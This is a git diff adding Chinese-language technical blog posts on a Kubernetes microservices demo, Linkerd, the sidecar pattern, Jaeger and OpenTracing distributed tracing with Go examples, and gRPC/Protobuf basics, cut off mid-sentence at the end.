+------>+ videos-db | +| | | | ++------------+ +-----------+ +``` + +## 3.Traffic flow + +对 `playlists-api` 的单个 `GET` 请求将通过单个 DB 调用从其数据库中获取所有播放列表对于每个播放列表和每个列表中的每个视频,将单独`GET`调用`videos-api`将从其数据库中检索视频元数据。这将导致许多网络扇出`playlists-api`和`videos-api`许多对其数据库的调用。 + + + +## 4.Run the apps: Docker + +``` +//终z端在`在ocker-compose.yaml`下,运行: +docker-compose build + +docker-compose up + +``` + +您可以在 http://localhost 上访问该应用程序 + +## 5.Run the apps: Kubernetes + +``` +//Creae a cluster with kind +kind create cluster --name servicemesh --image kindest/node:v1.18.4 +``` + +### Deploy videos-web + +``` +cd ./kubernetes/servicemesh/ + +kubectl apply -f applications/videos-web/deploy.yaml +kubectl port-forward svc/videos-web 80:80 +``` + +您应该在 http://localhost/ 看到空白页 它是空白的,因为它需要 playlists-api 来获取数据 + +### Deploy playlists-api and database + +``` +cd ./kubernetes/servicemesh/ + +kubectl apply -f applications/playlists-api/deploy.yaml +kubectl apply -f applications/playlists-db/ +kubectl port-forward svc/playlists-api 81:80 +//转发 +``` + +您应该在 http://localhost/ 看到空的播放列表页面 播放列表是空的,因为它需要 video-api 来获取视频数据 + +### Deploy videos-api and database + +``` +cd ./kubernetes/servicemesh/ + +kubectl apply -f applications/videos-api/deploy.yaml +kubectl apply -f applications/videos-db/ +``` + +在 http://localhost/ 刷新页面 您现在应该在浏览器中看到完整的架构 + +``` +servicemesh.demo/home --> videos-web +servicemesh.demo/api/playlists --> playlists-api + + + servicemesh.demo/home/ +--------------+ + +------------------------------> | videos-web | + | | | +servicemesh.demo/home/ +------+------------+ +--------------+ + +------------------>+ingress-nginx | + |Ingress controller | + +------+------------+ +---------------+ +--------------+ + | | playlists-api +--->+ playlists-db | + +------------------------------> | | | | + servicemesh.demo/api/playlists +-----+---------+ +--------------+ + | + v + +-----+------+ +-----------+ + | videos-api +------>+ videos-db | + | | | | + +------------+ +-----------+ + +``` + + + +# Introduction to Linkerd + +## 1.We need a Kubernetes cluster + +我们需要一个 Kubernetes 集群,让我们使用kind创建一个 Kubernetes 集群来玩 + +``` +kind create cluster --name linkerd --image kindest/node:v1.19.1 +``` + +## 2.Deploy our microservices (Video catalog) + +部署我们的微服务(视频目录) + +``` +# ingress controller +kubectl create ns ingress-nginx +kubectl apply -f kubernetes/servicemesh/applications/ingress-nginx/ + +# applications +kubectl apply -f kubernetes/servicemesh/applications/playlists-api/ +kubectl apply -f kubernetes/servicemesh/applications/playlists-db/ +kubectl apply -f kubernetes/servicemesh/applications/videos-web/ +kubectl apply -f kubernetes/servicemesh/applications/videos-api/ +kubectl apply -f kubernetes/servicemesh/applications/videos-db/ +``` + + + +## 3.Make sure our applications are running + +``` +kubectl get pods +NAME READY STATUS RESTARTS AGE +playlists-api-d7f64c9c6-rfhdg 1/1 Running 0 2m19s +playlists-db-67d75dc7f4-p8wk5 1/1 Running 0 2m19s +videos-api-7769dfc56b-fsqsr 1/1 Running 0 2m18s +videos-db-74576d7c7d-5ljdh 1/1 Running 0 2m18s +videos-web-598c76f8f-chhgm 1/1 Running 0 100s + +``` + +确保我们的应用程序正在运行 + +## 4.Make sure our ingress controller is running + +``` +kubectl -n ingress-nginx get pods +NAME READY STATUS RESTARTS AGE +nginx-ingress-controller-6fbb446cff-8fwxz 1/1 Running 0 2m38s +nginx-ingress-controller-6fbb446cff-zbw7x 1/1 Running 0 2m38s + +``` + +确保我们的入口控制器正在运行。 + +我们需要一个伪造的 DNS 名称让我们通过在 hosts ( ) 文件`servicemesh.demo` +中添加以下条目来伪造一个:`C:\Windows\System32\drivers\etc\hosts` + +``` +127.0.0.1 servicemesh.demo +``` + +## Let's access our applications via Ingress + +``` +kubectl -n ingress-nginx port-forward deploy/nginx-ingress-controller 80 +``` + +让我们通过 Ingress 访问我们的应用程序 + +## Access our application in the browser + +在浏览器中访问我们的应用程序,我们应该能够访问我们的网站`http://servicemesh.demo/home/` + + + + + + + + + diff --git a/_posts/2022-07-09test-markdown.md b/_posts/2022-07-09test-markdown.md new file mode 100644 index 000000000000..294f02258249 --- /dev/null +++ b/_posts/2022-07-09test-markdown.md @@ -0,0 +1,50 @@ +--- +layout: post +title: 什么是 Sidecar 模式,为什么它在微服务中被大量使用? +subtitle: Sidecar 模式是一种架构模式,其中位于同一个主机的两个或者多个进程可以相互通信。他们是环回本地主机,本质是 启动进程间通讯。 +tags: [架构] +--- + +# 什么是 Sidecar 模式,为什么它在微服务中被大量使用? + +## 1.什么是 Sidecar 模式 + +Sidecar 模式是一种架构模式,其中位于同一个主机的两个或者多个进程可以相互通信。他们是环回本地主机,本质是 **启动进程间通讯**。 + +#### How We Do Traditionally ? + +假设现有一个传统的`golang`应用,我们在其中导入一些重要的 `golang`包,然后这个程序做为一个。`exe` 运行在本地主机上 `localhost` 在这种情况下我有一个很不错的 `golang`库,我花了很多时间在这个库上,它是一个高级的库,可以进行日志记录和对话。因为我是用 `golang`写的库,所以我的应用程序也是 `golang`写的。我需要做的就是,使用这个库,调用函数。 + +``` +----------------------------------------- +| | +| ------------------ | +| | |------- | | +| | |Library | | +| | |------- | | +| |app | | +| ----------------- | +| | +| | +---------------------------------------- + +``` + +如果是Sidecar pattern ,那么我需要做的就是拆封我的日记记录库 + +``` +log(localhost:8080) +``` + +``` +golang.log(localhost:8080) +``` + +也就是说,我们所做的,不是引用或者导入而是向端口的本地主机发出请求。任务本质上没有离开哪个那个主机。它会通过网络堆栈。当我们开始运行程序时,就会返回调用我们写的库。 + +- **让两个进程生活在同一台机器上,然后他们直接通信** +- 这个时候,我们的库可以被其他任何语言使用。 +- **公开给其他任何语言use** + + + diff --git a/_posts/2022-07-11-test-markdown.md b/_posts/2022-07-11-test-markdown.md new file mode 100644 index 000000000000..e65c448737a9 --- /dev/null +++ b/_posts/2022-07-11-test-markdown.md @@ -0,0 +1,118 @@ +--- +layout: post +title: 什么是 Distributed Tracing(分布式跟踪)? +subtitle: 在微服务的世界中,大多数问题是由于网络问题和不同微服务之间的关系而发生的。分布式架构(相对于单体架构)使得找到问题的根源变得更加困难。要解决这些问题,我们需要查看哪个服务向另一个服务或组件(数据库、队列等)发送了哪些参数。分布式跟踪通过使我们能够从系统的不同部分收集数据来帮助我们实现这一目标,从而使我们的系统能够实现这种所需的可观察性。 +tags: [分布式] +--- +# 什么是 Distributed Tracing(分布式跟踪)? + +> 在微服务的世界中,大多数问题是由于网络问题和不同微服务之间的关系而发生的。分布式架构(相对于单体架构)使得找到问题的根源变得更加困难。要解决这些问题,我们需要查看哪个服务向另一个服务或组件(数据库、队列等)发送了哪些参数。分布式跟踪通过使我们能够从系统的不同部分收集数据来帮助我们实现这一目标,从而使我们的系统能够实现这种所需的可观察性。 + +- **分布式跟踪使我们从系统的不同部分收集数据从而找到问题的根源。** +- **此外,trace 是一种可视化工具,可以让我们将系统可视化以更好地了解服务之间的关系,从而更容易调查和查明问题** + +## 1.**什么是 Jaeger 追踪?** + +Jaeger 是 Uber 在 2015 年创建的开源分布式跟踪平台。它由检测 SDK、用于数据收集和存储的后端、用于可视化数据的 UI 以及用于聚合跟踪分析的 Spark/Flink 框架组成。 + +Jaeger 数据模型与 OpenTracing 兼容,OpenTracing 是一种规范,用于定义收集的跟踪数据的外观,以及不同语言的实现库(稍后将详细介绍 OpenTracing 和 OpenTelemetry)。 + +与大多数其他分布式跟踪系统一样,Jaeger 使用spans and traces,如 OpenTracing 规范中定义的那样。 + +![img](https://miro.medium.com/max/630/0*DzjXpBSuNiyCFcYq) + +span 代表应用程序中的一个工作单元(HTTP 请求、对 DB 的调用等),是 Jaeger 最基本的工作单元。Span必须具有操作名称、开始时间和持续时间。 + +Traces 是以父/子关系连接的跨度的集合/列表(也可以被认为是Span的有向无环图)。Traces 指定如何通过我们的服务和其他组件传播请求。 + +## 2.Jaeger 追踪架构 + +![img](https://miro.medium.com/max/630/0*xIdm2tN5PkOTJHy-) + +它由几个部分组成,我将在下面解释所有这些部分: + +- **Instrumentation SDK:**集成到应用程序和框架中以捕获跟踪数据的库。从历史上看,Jaeger 项目支持使用各种编程语言编写的自己的客户端库。它们现在被弃用,取而代之的是 OpenTelemetry(同样,稍后会详细介绍)。 + +- **Jaeger 代理:** Jaeger 代理是一个网络守护程序,用于侦听通过 UDP 从 Jaeger 客户端接收到的跨度。它收集成批的它们,然后将它们一起发送给收集器。如果 SDK 被配置为将 span 直接发送到收集器,则不需要代理。 +- **Jaeger 收集器:** Jaeger 收集器负责从 Jaeger 代理接收跟踪,执行验证和转换,并将它们保存到选定的存储后端。 +- **存储后端:** Jaeger 支持各种存储后端来存储跨度。支持的存储后端有 In-Memory、Cassandra、Elasticsearch 和 Badger(用于单实例收集器部署)。 +- **Jaeger Query:**这是一项服务,负责从 Jaeger 存储后端检索跟踪信息,并使其可供 Jaeger UI 访问。 +- **Jaeger UI:**一个 React 应用程序,可让您可视化跟踪并分析它们。对于调试系统问题很有用。 +- **Ingester:**只有当我们使用 Kafka 作为收集器和存储后端之间的缓冲区时,ingester 才有意义。它负责从 Kafka 接收数据并将其摄取到存储后端。更多信息可以在[官方 Jaeger Tracing 文档](https://www.jaegertracing.io/docs/1.30/architecture/#ingester)中找到。![img](https://miro.medium.com/max/630/0*6Pjtk8IgfVpfQp2F) + +# 使用 Docker 在本地运行 Jaeger + +Jaeger 附带一个即用**型一体化**Docker 映像,其中包含 Jaeger 运行所需的所有组件。 + +在本地机器上启动并运行它非常简单: + +``` +docker run -d --name jaeger \ + -e COLLECTOR_ZIPKIN_HOST_PORT=:9411 \ + -p 5775:5775/udp \ + -p 6831:6831/udp \ + -p 6832:6832/udp \ + -p 5778:5778 \ + -p 16686: 16686 \ + -p 14250:14250 \ + -p 14268:14268 \ + -p 14269:14269 \ + -p 9411:9411 \ + jaegertracing/all-in-one:1.30 +``` + +然后可以简单地在`http://localhost:16686`上打开 `jaeger UI` 。 + +# Jaeger 跟踪和 OpenTelemetry + +我之前确实提到过 Jaeger 的数据模型与 OpenTracing 规范兼容。可能已经知道 OpenTracing 和 OpenCensus 已合并形成 OpenTelemetry。 + +### SDK 中的采样策略 + +(弃用的)Jaeger SDK 有 4 种采样模式: + +- Remote:默认值,用于告诉 Jaeger SDK 采样策略由 Jaeger 后端控制。 +- 常数:要么取所有痕迹,要么不取。中间什么都没有。全部为 1,无为 0 +- 速率限制:选择每秒采样的跟踪数。 +- 概率:选择将被采样的轨迹的百分比,例如 - 选择 0.1 以使每 10 条轨迹中有 1 条被采样。 + +### 远程采样 + +如果我们选择启用远程采样,Jaeger 收集器将负责确定每个服务中的 SDK 应该使用哪种采样策略。操作员有两种配置收集器的方法:使用采样策略配置文件,或使用自适应采样。 + +配置文件 — 为收集器提供一个文件路径,该文件包含每个服务和操作前采样配置。 + +自适应采样——让 Jaeger 了解每个端点接收的流量并计算出该端点最合适的速率。请注意,在撰写本文时,只有 Memory 和 Cassandra 后端支持这一点。 + +可以在此处找到有关 Jaeger 采样的更多信息:[https ://www.jaegertracing.io/docs/latest/sampling/](https://www.jaegertracing.io/docs/1.30/sampling/) + +## Jaeger 追踪术语表 + +**Span**——我们系统中发生的工作单元(动作/操作)的表示;跨越时间的 HTTP 请求或数据库操作(从 X 开始,持续时间为 Y 毫秒)。通常,它将是另一个跨度的父级和/或子级。 + +**Trace** — 表示请求进程的树/跨度列表,因为它由我们系统中的不同服务和组件处理。例如,向 user-service 发送 API 调用会导致对 users-db 的 DB 查询。它们是分布式服务的“调用堆栈”。 + +**Observability可观察**性——衡量我们根据外部输出了解系统内部状态的程度。当您拥有日志、指标和跟踪时,您就拥有了“可观察性的 3 个支柱”。 + +**OpenTelemetry** — OpenTelemetry 是 CNCF(云原生计算功能)的一个开源项目,它提供了一系列工具、API 和 SDK。OpenTelemetry 支持使用单一规范自动收集和生成跟踪、日志和指标。 + +**OpenTracing** — 一个用于分布式跟踪的开源项目。它已被弃用并“合并”到 OpenTelemetry 中。OpenTelemetry 为 OpenTracing 提供向后兼容性。 + +![img](https://miro.medium.com/max/630/1*LJT2MtqLOuXLAEh05RKDtg.png) + +## OpenTelemetry 和 Jaeger + +与其他一些跟踪后端不同,Jaeger 项目从未打算解决代码检测问题。通过发布与 OpenTracing 兼容的跟踪器库,我们能够利用现有兼容 OpenTracing 的仪器的丰富生态系统,并将我们的精力集中在构建跟踪后端、可视化工具和数据挖掘技术上。 + +## 上下文传播作为底层 + +![img](https://miro.medium.com/max/630/1*uLB1_21itJ0XJ8GLy3uqOQ.png) + + + +## OpenCensus 代理/收集器呢? + +即使对于 OpenCensus 库,“包含电池”的方法也并不总是有效,因为它们仍然需要配置特定的导出器插件才能将数据发送到具体的跟踪后端,如 Jaeger 或 Zipkin。为了解决这个问题,OpenCensus 项目开始开发两个称为**agent**和**collector**的后端组件,它们扮演着与 Jaeger 的 agent 和 collector 几乎相同的角色: + +- **代理**是一个边车/主机代理,它以标准化格式从客户端库接收遥测数据并将其转发给收集器; +- **收集器**将数据转换为特定跟踪后端可以理解的格式并将其发送到那里。OpenCensus Collector 还能够执行基于尾部的抽样。 \ No newline at end of file diff --git a/_posts/2022-07-12-test-markdown.md b/_posts/2022-07-12-test-markdown.md new file mode 100644 index 000000000000..5904841d2d39 --- /dev/null +++ b/_posts/2022-07-12-test-markdown.md @@ -0,0 +1,397 @@ +--- +layout: post +title: 什么是分布式跟踪和 OpenTracing? +subtitle: 分布式跟踪是一种建立在微服务架构上的监控和分析系统的技术 +tags: [分布式] +--- +# 什么是分布式跟踪和 OpenTracing? + +## 1.What is Distributed Tracing and OpenTracing? + +> 分布式跟踪是一种建立在微服务架构上的监控和分析系统的技术,由 X-Trace、[Google 的 Dapper](http://research.google.com/pubs/pub36356.html)和[Twitter 的 Zipkin](http://zipkin.io/)等系统推广。其基础是*分布式上下文传播* 的概念,它涉及将某些元数据与进入系统的每个请求相关联,并在请求执行转到其他微服务时跨线程和进程边界传播该元数据。如果我们为每个入站请求分配一个唯一 ID 并将其作为分布式上下文的一部分携带,那么我们可以将来自多个线程和多个进程的各种分析数据拼接成一个“跟踪”,该“跟踪”代表我们系统对请求的执行. + +- **微服务架构上的监控和分析系统技术** +- **分布式上下文传播** +- **数据与进入系统的每个请求相关联** +- **请求执行转到其他微服务时——跨线程和进程边界传播该元数据** +- 请求分配一个唯一 ID,这个ID作为分布式上下文的一部分携带。 +- **来自多个线程和多个进程的各种数据拼凑成一个跟踪。** +- 这个 **跟踪** 完全的向我们展示了系统在执行请求时经历了什么。 + +## 2. OK ,What we need to do ? + +> Distributed tracing requires instrumentation of the application code (or the frameworks it uses) with profiling hooks and a context propagation mechanism. in October 2015 a new community was formed that gave birth to the [OpenTracing API](http://opentracing.io/), an open, vendor-neutral, language-agnostic standard for distributed tracing You can read more about it in [Ben Sigelman](https://medium.com/u/bbb65ce0911b?source=post_page-----7cc1282a100a--------------------------------)’s article about [the motivations and design principles behind OpenTracing](https://medium.com/opentracing/towards-turnkey-distributed-tracing-5f4297d1736#.zbnged9wk). + +分布式跟踪需要使用分析挂钩 `profiling hooks` 和上下文传播机制 `context propagation mechanism` 对应用程序代码(或其使用的框架)进行检测。 [OpenTracing API](http://opentracing.io/) 实现了 跨编程语言内部一致且与特定跟踪系统没有紧密联系的良好 API。 + +## 3. Show me the code already! + +``` +import ( + "net/http" + "net/http/httptrace" + + "github.com/opentracing/opentracing-go" + "github.com/opentracing/opentracing-go/log" + "golang.org/x/net/context" +) + +// 这个我们后面会讲 +var tracer opentracing.Tracer + +func AskGoogle(ctx context.Context) error { + // 从上下文中检索当前 Span + // 寻找父context —— parentCtx + var parentCtx opentracing.SpanContext + // 寻找父Span —— parentSpan + parentSpan := opentracing.SpanFromContext(ctx); + if parentSpan != nil { + parentCtx = parentSpan.Context() + } + + // 启动一个新的 Span 来包装 HTTP 请求 + span := tracer.StartSpan( + "ask google", + opentracing.ChildOf(parentCtx), + ) + + // 确保 Span完成后完成 + defer span.Finish() + + // 使 Span 在上下文中成为当前的 + ctx = opentracing.ContextWithSpan(ctx, span) + + // 现在准备请求 + req, err := http.NewRequest("GET", "http://google.com", nil) + if err != nil { + return err + } + + //将 ClientTrace 附加到 Context,并将 Context 附加到请求 + // 创建一个*httptrace.ClientTrace + trace := NewClientTrace(span) + //将httptrace.ClientTrace 添加到`context.Context`中 + ctx = httptrace.WithClientTrace(ctx, trace) + //把context添加到请求中 + req = req.WithContext(ctx) + // 执行请求 + res, err := http.DefaultClient.Do(req) + if err != nil { + return err + } + + //谷歌主页不是太精彩,所以忽略结果 + res.Body.Close() + return nil +} + +``` + +``` +func NewClientTrace(span opentracing.Span) *httptrace.ClientTrace { + trace := &clientTrace{span: span} + return &httptrace.ClientTrace { + DNSStart: trace.dnsStart, + DNSDone: trace.dnsDone, + } +} +// clientTrace 持有对 Span 的引用和 +// 提供用作 ClientTrace 回调的方法 +type clientTrace struct { + span opentracing.Span +} + +func (h *clientTrace) dnsStart(info httptrace.DNSStartInfo) { + h.span.LogKV( + log.String( "event" , "DNS start" ), + log.Object( "主机", info.Host), + ) +} + +func (h *clientTrace) dnsDone(httptrace.DNSDoneInfo) { + h.span.LogKV(log.String( "event" , "DNS done" )) +} +``` + +- 发起一个请求前,准备好 Span `opentracing.Tracer.StartSpan()` + +- 然后是请求 `req, err := http.NewRequest("GET", "http://google.com", nil)` + +- 根据 Span 创建好一个 `*httptrace.ClientTrace ` + + ``` + httptrace.ClientTrace{ + DNSStart: trace.dnsStart,, + DNSDone: trace.dnsDone, + } + //DNSStart是函数类型func (info httptrace.DNSStartInfo){} + //NSDone 是函数类型func (info httptrace.DNSDoneInfo){} + ``` + +- 将`httptrace.ClientTrace` 添加到`context.Context`中 + + ``` + ctx = httptrace.WithClientTrace(ctx, trace) + ``` + +- 把context添加到请求中 + + ``` + req = req.WithContext(ctx) + ``` + +- AskGoogle 函数接受**context.Context**对象。这是[Go 中开发分布式应用程序的推荐方式](https://blog.golang.org/context),因为 Context 对象允许分布式上下文传播。 +- 我们假设上下文已经包含一个父跟踪 Span。OpenTracing API 中的 Span 用于表示由微服务执行的工作单元。HTTP 调用是可以包装在跟踪 Span 中的操作的一个很好的示例。当我们运行一个处理入站请求的服务时,该服务通常会为每个请求**创建一个跟踪跨度`tracing span`并将其存储在上下文中**,以便在我们对另一个服务进行下游调用时它是可用的。 +- 我们为由私有结构`clientTrace`实现的`DNSStart和``DNSDone`事件注册两个回调,该结构包含对跟踪 Span 的引用。在回调方法中,我们使用 **Span 的键值日志 API 来记录有关事件的信息**,以及 Span 本身隐式捕获的时间戳。 + +## 4.OpenTracing API 的工作方式 + +OpenTracing API 的工作方式是,一旦调用了追踪 Span 上的 Finish() 方法,span 捕获的数据就会被发送到追踪系统后端,通常在后台异步发送。然后我们可以使用跟踪系统 UI 来查找跟踪并在时间轴上将其可视化 + +上面的例子只是为了说明使用 OpenTracing 和**httptrace**的原理。对于真正的工作示例,我们将使用来自[Dominik Honnef](http://dominik.honnef.co/)的现有库https://github.com/opentracing-contrib/go-stdlib,这为我们完成了大部分仪器。使用这个库,我们的客户端代码不需要担心跟踪实际的 HTTP 调用。但是,我们仍然希望创建一个顶级跟踪 Span 来表示客户端应用程序的整体执行情况,并将任何错误记录到它。 + +``` +package main + +import ( + "fmt" + "io/ioutil" + "log" + "net/http" + + "github.com/opentracing-contrib/go-stdlib/nethttp" + "github.com/opentracing/opentracing-go" + "github.com/opentracing/opentracing-go/ext" + otlog "github.com/opentracing/opentracing-go/log" + "golang.org/x/net/context" +) + +func runClient(tracer opentracing.Tracer) { + // nethttp.Transport from go-stdlib will do the tracing + c := &http.Client{Transport: &nethttp.Transport{}} + + // create a top-level span to represent full work of the client + span := tracer.StartSpan(client) + span.SetTag(string(ext.Component), client) + defer span.Finish() + ctx := opentracing.ContextWithSpan(context.Background(), span) + + req, err := http.NewRequest( + "GET", + fmt.Sprintf("http://localhost:%s/", *serverPort), + nil, + ) + if err != nil { + onError(span, err) + return + } + + req = req.WithContext(ctx) + // wrap the request in nethttp.TraceRequest + req, ht := nethttp.TraceRequest(tracer, req) + defer ht.Finish() + + res, err := c.Do(req) + if err != nil { + onError(span, err) + return + } + defer res.Body.Close() + body, err := ioutil.ReadAll(res.Body) + if err != nil { + onError(span, err) + return + } + fmt.Printf("Received result: %s\n", string(body)) +} + +func onError(span opentracing.Span, err error) { + // handle errors by recording them in the span + span.SetTag(string(ext.Error), true) + span.LogKV(otlog.Error(err)) + log.Print(err) +} +``` + +上面的客户端代码调用本地服务器。让我们也实现它。 + +``` +package main + +import ( + "fmt" + "io" + "log" + "net/http" + "time" + + "github.com/opentracing-contrib/go-stdlib/nethttp" + "github.com/opentracing/opentracing-go" +) + +func getTime(w http.ResponseWriter, r *http.Request) { + log.Print("Received getTime request") + t := time.Now() + ts := t.Format("Mon Jan _2 15:04:05 2006") + io.WriteString(w, fmt.Sprintf("The time is %s", ts)) +} + +func redirect(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, + fmt.Sprintf("http://localhost:%s/gettime", *serverPort), 301) +} + +func runServer(tracer opentracing.Tracer) { + http.HandleFunc("/gettime", getTime) + http.HandleFunc("/", redirect) + log.Printf("Starting server on port %s", *serverPort) + http.ListenAndServe( + fmt.Sprintf(":%s", *serverPort), + // use nethttp.Middleware to enable OpenTracing for server + nethttp.Middleware(tracer, http.DefaultServeMux)) +} +``` + +请注意,客户端向根端点“/”发出请求,但服务器将其重定向到“/gettime”端点。这样做可以让我们更好地说明如何在跟踪系统中捕获跟踪。 + +## 5. 运行 + +我假设有一个 Go 1.7 的本地安装,以及一个正在运行的 Docker,我们将使用它来运行 Zipkin 服务器。 + +演示项目使用[glide](https://github.com/Masterminds/glide)进行依赖管理,请先安装。例如,在 Mac OS 上,您可以执行以下操作: + +``` +$ brew install glide +``` + +``` +$ glide install +``` + +``` +$ go build . +``` + +现在在另一个终端,让我们启动 Zipkin 服务器 + +``` +$ docker run -d -p 9410-9411:9410-9411 openzipkin/zipkin:1.12.0 +Unable to find image 'openzipkin/zipkin:1.12.0' locally +1.12.0: Pulling from openzipkin/zipkin +4d06f2521e4f: Already exists +93bf0c6c4f8d: Already exists +a3ed95caeb02: Pull complete +3db054dce565: Pull complete +9cc214bea7a6: Pull complete +Digest: sha256:bf60e4b0ba064b3fe08951d5476bf08f38553322d6f640d657b1f798b6b87c40 +Status: Downloaded newer image for openzipkin/zipkin:1.12.0 +da9353ac890e0c0b492ff4f52ff13a0dd12826a0b861a67cb044f5764195e005 +``` + +如果没有 Docker,另一种运行 Zipkin 服务器的方法是直接从 jar 中: + +``` +$ wget -O zipkin.jar 'https://search.maven.org/remote_content?g=io.zipkin.java&a=zipkin-server&v=LATEST&c=exec' +$ java -jar zipkin.jar +``` + +打开用户界面: + +``` +open http://localhost:9411/ +``` + +如果您重新加载 UI 页面,您应该会看到“客户端”出现在第一个下拉列表中。 + +![img](https://miro.medium.com/max/770/1*96gTC2C-120mOyuzb2shDw.png) + +单击 Find Traces 按钮,您应该会看到一条跟踪。 + +![img](https://miro.medium.com/max/770/1*owSezNrLirpDEy_da4TdkA.png) + +单击trace. + +![img](https://miro.medium.com/max/770/1*dqRtsIYldkwXKufINQ2fAg.png) + +在这里,我们看到以下跨度: + +1. 由服务生成的称为“client”的顶级(根)跨度也称为“client”,它跨越整个时间轴 3.957 毫秒。 +2. 下一级(子)跨度称为“http 客户端”,也是由“客户端”服务生成的。这个跨度是由**go-stdlib**库自动创建的,跨越整个 HTTP 会话。 +3. 由名为“server”的服务生成的两个名为“http get”的跨度。这有点误导,因为这些跨度中的每一个实际上在内部都由两部分组成,客户端提交的数据和服务器提交的数据。Zipkin UI 总是选择接收服务的名称显示在左侧。这两个跨度表示对“/”端点的第一个请求,在收到重定向响应后,对“/gettime”端点的第二个请求。 + +另请注意,最后两个跨度在时间轴上显示白点。如果我们将鼠标悬停在其中一个点上,我们将看到它们实际上是 ClientTrace 捕获的事件,例如 DNSStart: + +您还可以单击每个跨度以查找更多详细信息,包括带时间戳的日志和键值标签。例如,单击第一个“http get”跨度会显示以下弹出窗口: + +![img](https://miro.medium.com/max/770/1*0lODzPlwNbK6rcEVKDkv5w.png) + +在这里,我们看到两种类型的事件。从客户端和服务器的角度来看的整体开始/结束事件:客户端发送(请求),服务器接收(请求),服务器发送(响应),客户端接收(响应)。**在它们之间,我们看到go-stdlib**检测记录到跨度的其他事件,因为它们是由**httptrace**报告的,例如从 0.16 毫秒开始并在 2.222 毫秒完成的 DNS 查找、建立连接以及发送/接收请求/响应数据。 + +这是显示跨度的键/值标签的同一弹出窗口的延续。标签与任何时间戳无关,只是提供有关跨度的元数据。在这里,我们可以看到在哪个 URL 发出请求、收到的**301**响应代码(重定向)、运行客户端的主机名(屏蔽)以及有关跟踪器实现的一些信息,例如客户端库版本“Go- 1.6”。 + +第 4 个跨度的细节类似。需要注意的一点是,第 4 个跨度要短得多,因为没有 DNS 查找延迟,并且它针对状态代码为 200 的 /gettime 端点 + +![img](https://miro.medium.com/max/770/1*Q0vWUTwZRE7tAg2_pUpgSQ.png) + +## 6.跟踪器 + +跟踪器是 OpenTracing API 的实际实现。在我的示例中,我使用了https://github.com/uber/jaeger-client-go,它是来自 Uber 的分布式跟踪系统 Jaeger 的与 OpenTracing 兼容的客户端库。 + +``` +package main + +import ( + "flag" + "log" + + "github.com/uber/jaeger-client-go" + "github.com/uber/jaeger-client-go/transport/zipkin" +) + +var ( + zipkinURL = flag.String("url", + "http://localhost:9411/api/v1/spans", "Zipkin server URL") + serverPort = flag.String("port", "8000", "server port") + actorKind = flag.String("actor", "server", "server or client") +) + +const ( + server = "server" + client = "client" +) + +func main() { + flag.Parse() + + if *actorKind != server && *actorKind != client { + log.Fatal("Please specify '-actor server' or '-actor client'") + } + + // Jaeger tracer can be initialized with a transport that will + // report tracing Spans to a Zipkin backend + transport, err := zipkin.NewHTTPTransport( + *zipkinURL, + zipkin.HTTPBatchSize(1), + zipkin.HTTPLogger(jaeger.StdLogger), + ) + if err != nil { + log.Fatalf("Cannot initialize HTTP transport: %v", err) + } + // create Jaeger tracer + tracer, closer := jaeger.NewTracer( + *actorKind, + jaeger.NewConstSampler(true), // sample all traces + jaeger.NewRemoteReporter(transport, nil), + ) + // Close the tracer to guarantee that all spans that could + // be still buffered in memory are sent to the tracing backend + defer closer.Close() + if *actorKind == server { + runServer(tracer) + return + } + runClient(tracer) +} + +``` + diff --git a/_posts/2022-07-13-test-markdown.md b/_posts/2022-07-13-test-markdown.md new file mode 100644 index 000000000000..078d153fa7fa --- /dev/null +++ b/_posts/2022-07-13-test-markdown.md @@ -0,0 +1,726 @@ +--- +layout: post +title: RPC应用 +subtitle: RPC 代指远程过程调用(Remote Procedure Call),它的调用包含了传输协议和编码(对象序列)协议等等,允许运行于一台计算机的程序调用另一台计算机的子程序,而开发人员无需额外地为这个交互作用编程,因此我们也常常称 RPC 调用,就像在进行本地函数调用一样方便。 +tags: [RPC] +--- +# RPC应用 + +> 写这篇文章的起源是,,,,,,,,对,没错,就是为了回顾一波,发现在回顾的过程中 还是有很多很多地方之前学习的不够清晰。 + +首先我们将对 gRPC 和 Protobuf 进行介绍,然后会在接下来会对两者做更进一步的使用和详细介绍。 + +## 1.什么是 RPC + +RPC 代指远程过程调用(Remote Procedure Call),它的调用包含了传输协议和编码(对象序列)协议等等,允许运行于一台计算机的程序调用另一台计算机的子程序,而**开发人员无需额外地为这个交互作用编程**,因此我们也常常称 RPC 调用,就像在进行本地函数调用一样方便。 + +> 开发人员无需额外地为这个交互作用编程。 + +## 2.gRPC + +> gRPC 是一个高性能、开源和通用的 RPC 框架,面向移动和基于 HTTP/2 设计。目前提供 C、Java 和 Go 语言等等版本,分别是:grpc、grpc-java、grpc-go,其中 C 版本支持 C、C++、Node.js、Python、Ruby、Objective-C、PHP 和 C# 支持。 + +gRPC 基于 HTTP/2 标准设计,带来诸如双向流、流控、头部压缩、单 TCP 连接上的多复用请求等特性。这些特性使得其在移动设备上表现更好,在一定的情况下更节省空间占用。 + +gRPC 的接口描述语言(Interface description language,缩写 IDL)使用的是 Protobuf,都是由 Google 开源的。 + +> gRPC 使用Protobuf 作为接口描述语言。 + +#### gRPC 调用模型 + +![image](https://golang2.eddycjy.com/images/ch3/grpc_concept_diagram.jpg) + +1. 客户端(gRPC Stub)在程序中调用某方法,发起 RPC 调用。 +2. 对请求信息使用 Protobuf 进行对象序列化压缩(IDL)。 +3. 服务端(gRPC Server)接收到请求后,解码请求体,进行业务逻辑处理并返回。 +4. 对响应结果使用 Protobuf 进行对象序列化压缩(IDL)。 +5. 客户端接受到服务端响应,解码请求体。回调被调用的 A 方法,唤醒正在等待响应(阻塞)的客户端调用并返回响应结果。 + +## 3. Protobuf + +> Protocol Buffers(Protobuf)是一种与语言、平台无关,可扩展的序列化结构化数据的数据描述语言,我们常常称其为 IDL,常用于通信协议,数据存储等等,相较于 JSON、XML,它更小、更快,因此也更受开发人员的青眯。 + +### 基本语法 + +``` +syntax = "proto3"; + +package helloworld; + +service Greeter { + rpc SayHello (HelloRequest) returns (HelloReply) {} +} + +message HelloRequest { + string name = 1; +} + +message HelloReply { + string message = 1; +} +``` + +1. 第一行(非空的非注释行)声明使用 `proto3` 语法。如果不声明,将默认使用 `proto2` 语法。同时建议无论是用 v2 还是 v3 版本,都应当进行显式声明。而在版本上,目前主流推荐使用 v3 版本。 +2. 定义名为 `Greeter` 的 RPC 服务(Service),其包含 RPC 方法 `SayHello`,入参为 `HelloRequest` 消息体(message),出参为 `HelloReply` 消息体。 +3. 定义 `HelloRequest`、`HelloReply` 消息体,每一个消息体的字段包含三个属性:类型、字段名称、字段编号。在消息体的定义上,除类型以外均不可重复。 + +在编写完.proto 